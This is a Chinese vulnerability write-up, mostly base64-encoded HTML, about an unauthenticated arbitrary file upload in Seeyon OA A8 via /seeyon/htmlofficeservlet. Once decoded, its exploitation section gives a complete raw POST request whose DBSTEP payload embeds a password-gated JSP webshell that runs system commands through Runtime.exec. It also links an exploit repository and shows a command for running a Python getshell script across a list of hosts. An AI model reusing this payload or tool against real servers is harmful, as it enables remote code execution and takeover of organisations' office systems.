致远OA A8 htmlofficeservlet 任意文件上传漏洞

PGgyPjxhIG5hbWU9IuiHtOi/nE9BIEE4IGh0bWxvZmZpY2VzZXJ2bGV0IOS7u+aEj+aWh+S7tuS4iuS8oOa8j+a0niI+PC9hPjxzcGFuPjwvc3Bhbj7oh7Tov5xPQSBBOCBodG1sb2ZmaWNlc2VydmxldCDku7vmhI/mlofku7bkuIrkvKDmvI/mtJ48L2gyPjxoND48YSBuYW1lPSLmvI/mtJ7mj4/ov7AiPjwvYT48c3Bhbj48L3NwYW4+5ryP5rSe5o+P6L+wPC9oND48cD7ov5znqIvmlLvlh7vogIXlnKjml6DpnIDnmbvlvZXnmoTmg4XlhrXkuIvlj6/pgJrov4flkJEgVVJMIC9zZWV5b24vaHRtbG9mZmljZXNlcnZsZXQgUE9TVCDnsr7lv4PmnoTpgKDnmoTmlbDmja7ljbPlj6/lkJHnm67moIfmnI3liqHlmajlhpnlhaXku7vmhI/mlofku7bvvIzlhpnlhaXmiJDlip/lkI7lj6/miafooYzku7vmhI/ns7vnu5/lkb3ku6Tov5vogIzmjqfliLbnm67moIfmnI3liqHlmajjgII8L3A+CjxoND48YSBuYW1lPSLlvbHlk43niYjmnKwiPjwvYT48c3Bhbj48L3NwYW4+5b2x5ZON54mI5pysPC9oND48cD7oh7Tov5xBOC1WNeWNj+WQjOeuoeeQhui9r+S7tlY2LjFzcDE8YnI+6Ie06L+cQTgr5Y2P5ZCM566h55CG6L2v5Lu2VjcuMOOAgVY3LjBzcDHjgIFWNy4wc3Ay44CBVjcuMHNwMzxicj7oh7Tov5xBOCvljY/lkIznrqHnkIbova/ku7ZWNy4xPC9wPgo8aDQ+PGEgbmFtZT0i5ryP5rSe6aqM6K+BIj48L2E+PHNwYW4+PC9zcGFuPua8j+a0numqjOivgTwvaDQ+PHA+6K6/6ZeuL3NlZXlvbi9odG1sb2ZmaWNlc2VydmxldOWHuueOsOS4i+WbvuWTjeW6lO+8jOWImeWPr+iDveWQq+aciea8j+a0njwvcD4KPHA+PGltZyBzcmM9Imh0dHBzOi8vbmMwLmNkbi56a2FxLmNuL21kLzkxNTUvNzAwNDNhNjFjZWFlZjg5MGFlOWQ1NTIzYjY0ZDNiNzNfMTkzNzAucG5nIiBhbHQ9IiI+PC9wPgo8aDQ+PGEgbmFtZT0i5ryP5rSe5Yip55SoIj48L2E+PHNwYW4+PC9zcGFuPua8j+a0nuWIqeeUqDwvaDQ+PHA+UE9TVCAvc2VleW9uL2h0bWxvZmZpY2VzZXJ2bGV0IEhUVFAvMS4xPGJyPkhvc3Q6IHh4eDxicj5Vc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXT1c2NDsgcnY6NTIuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC81Mi4wPGJyPkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksPGVtPi88L2VtPjtxPTAuODxicj5BY2NlcHQtTGFuZ3VhZ2U6IHpoLUNOLHpoO3E9MC44LGVuLVVTO3E9MC41LGVuO3E9MC4zPGJyPkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZTxicj5ETlQ6IDE8YnI+Q29ubmVjdGlvbjogY2xvc2U8YnI+VXBncmFkZS1JbnNlY3VyZS1SZXF1ZXN0czogMTxicj5Db250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZDxicj5Db250ZW50LUxlbmd0aDogMTEyMDwvcD4KPHA+REJTVEVQIFYzLjAgICAgIDM1NSAgICAgICAgICAgICAwICAgICAgICAgICAgICAgNjY2ICAgICAgICAgICAgIERCU1RFUD1PS01MbEtsVjxicj5PUFRJT049UzNXWU9TV0xCU0dyPGJyPmN1cnJlbnRVc2VySWQ9elVDVHdpZ3N6aUNBUExlc3c0Z3N3NG9Fd1Y2Njxicj5DUkVBVEVEQVRFPXdVZ2hQQjNzekIzWHdnNjY8YnI+UkVDT1JESUQ9cUxTR3c0U1h6TGVHdzRWM3dVdzN6VW9Yd2lkNjxicj5vcmlnaW5hbEZpbGVJZD13VjY2PGJyPm9yaWdpbmFsQ3JlYXRlRGF0ZT13VWdoUEIzc3pCM1h3ZzY2PGJyPkZJTEVOQU1FPXFmVGRxZlRkcWZUZFZheEplQUpRQlJsM2RFeFF5WU9kTkFsZmVheHNkR2hpeVlsVGNBVGROMWxpTjRLWHdpVkd6ZlQyZEVnNjxicj5uZWVkUmVhZEZpbGU9eVJXWmRBUzY8YnI+b3JpZ2luYWxDcmVhdGVEYXRlPXdMU0dQNG9FekxLQXo0PWl6PTY2PGJyPiZsdDslQCBwYWdlIGxhbmd1YWdlPeKAnWphdmHigJ0gaW1wb3J0PeKAnWphdmEudXRpbC48ZW0+LGphdmEuaW8uPC9lbT7igJwgcGFnZUVuY29kaW5nPeKAnVVURi044oCdJSZndDsmbHQ7JSFwdWJsaWMgc3RhdGljIFN0cmluZyBleGN1dGVDbWQoU3RyaW5nIGMpIHtTdHJpbmdCdWlsZGVyIGxpbmUgPSBuZXcgU3RyaW5nQnVpbGRlcigpO3RyeSB7UHJvY2VzcyBwcm8gPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGMpO0J1ZmZlcmVkUmVhZGVyIGJ1ZiA9IG5ldyBCdWZmZXJlZFJlYWRlcihuZXcgSW5wdXRTdHJlYW1SZWFkZXIocHJvLmdldElucHV0U3RyZWFtKCkpKTtTdHJpbmcgdGVtcCA9IG51bGw7d2hpbGUgKCh0ZW1wID0gYnVmLnJlYWRMaW5lKCkpICE9IG51bGwpIHtsaW5lLmFwcGVuZCh0ZW1wK+KAnVxu4oCdKTt9YnVmLmNsb3NlKCk7fSBjYXRjaCAoRXhjZXB0aW9uIGUpIHtsaW5lLmFwcGVuZChlLmdldE1lc3NhZ2UoKSk7fXJldHVybiBsaW5lLnRvU3RyaW5nKCk7fSAlJmd0OyZsdDslaWYo4oCcY2Fsc2Vl4oCdLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcijigJxwd2TigJ0pKSZhbXA7JmFtcDsh4oCd4oCdLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcijigJxjbWTigJ0pKSl7b3V0LnByaW50bG4o4oCcPC9wPgo8cD4mbHQ7cHJlJmd0O+KAnCtleGN1dGVDbWQocmVxdWVzdC5nZXRQYXJhbWV0ZXIo4oCcY21k4oCdKSkgKyDigJwmbHQ7L3ByZSZndDvigJwpO31lbHNle291dC5wcmludGxuKOKAnDotKeKAnSk7fSUmZ3Q7Jmd0O2E2ZTRmMDQ1ZDRiODUwNmJmNDkyYWRhN2UzMzkwZDdjZTwvcD4KPGg0PjxhIG5hbWU9IumhueebruWcsOWdgCI+PC9hPjxzcGFuPjwvc3Bhbj7pobnnm67lnLDlnYA8L2g0PjxwPjxhIGhyZWY9Imh0dHBzOi8vZ2l0aHViLmNvbS9GZWlOaWFvL3NlZXlvdS1BOC1IVE1MT0ZGSUNFU0VSVkxFVC1maWxlbG9hZC1nZXRzaGVsbC1leHAiPmh0dHBzOi8vZ2l0aHViLmNvbS9GZWlOaWFvL3NlZXlvdS1BOC1IVE1MT0ZGSUNFU0VSVkxFVC1maWxlbG9hZC1nZXRzaGVsbC1leHA8L2E+PC9wPgo8aDQ+PGEgbmFtZT0i5bel5YW35L2/55SoIj48L2E+PHNwYW4+PC9zcGFuPuW3peWFt+S9v+eUqDwvaDQ+PHA+IHB5dGhvbiAuXHNlZXlvdS1BOC1IVE1MT0ZGSUNFU0VSVkxFVC1maWxlbG9hZC1nZXRzaGVsbC5weSAtZiAuXGhvc3QudHh0PC9wPgo8cD48aW1nIHNyYz0iaHR0cHM6Ly9uYzAuY2RuLnprYXEuY24vbWQvOTE1NS9jYWI2ZWRlNjlkZWIyZGVhZDIyNWJmNDExZjIwMGNkOF83MTAxNy5wbmciIGFsdD0iIj48L3A+CjxwPuiuv+mXruS4iuS8oOeahHdlYnNoZWxs77yM6L+b6KGM5ZG95Luk5omn6KGMPGJyPjxpbWcgc3JjPSJodHRwczovL25jMC5jZG4uemthcS5jbi9tZC85MTU1LzIwMjFlZTk1ZmIzN2UxMDc0ZmM0MjNlZWMwZTZiODhmXzc5NTM1LnBuZyIgYWx0PSIiPjwvcD4=